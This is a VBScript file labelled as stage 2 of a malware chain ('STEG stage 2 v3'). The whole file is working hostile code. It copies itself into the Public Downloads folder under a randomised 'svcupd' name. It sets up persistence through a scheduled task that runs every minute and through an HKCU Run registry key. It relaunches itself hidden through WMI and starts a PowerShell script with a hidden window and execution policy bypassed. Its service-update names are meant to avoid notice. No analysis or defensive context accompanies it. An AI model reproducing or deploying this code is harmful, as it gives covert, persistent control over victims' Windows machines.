' svc.vbs - STEG stage 2 v3
Dim fso, shell, self, dst
Set fso = CreateObject("Scripting.FileSystemObject")
Set shell = CreateObject("WScript.Shell")
self = WScript.ScriptFullName
Randomize

If WScript.Arguments.Count > 0 Then
    If WScript.Arguments(0) = "/run" Then
        shell.Run "powershell -w hidden -ep bypass -f ""C:\Users\Public\Downloads\svc.ps1""", 0, False
        WScript.Quit
    End If
End If

dst = "C:\Users\Public\Downloads\svcupd_" & Int(Rnd() * 9000 + 1000) & ".vbs"
fso.CopyFile self, dst, True

shell.Run "schtasks /create /tn ""SvcUpdateTask"" /tr ""wscript.exe """ & dst & """ /run"" /sc minute /mo 1 /f", 0, False
shell.Run "reg add ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run"" /v SvcUpdate /t REG_SZ /d ""wscript.exe """ & dst & """ /run"" /f", 0, False

Set svc = GetObject("winmgmts:\\.\root\cimv2")
Set proc = svc.Get("Win32_Process")
Set startup = svc.Get("Win32_ProcessStartup").SpawnInstance_
startup.ShowWindow = 0
proc.Create "wscript.exe """ & dst & """ /run", Null, startup, pid

WScript.Quit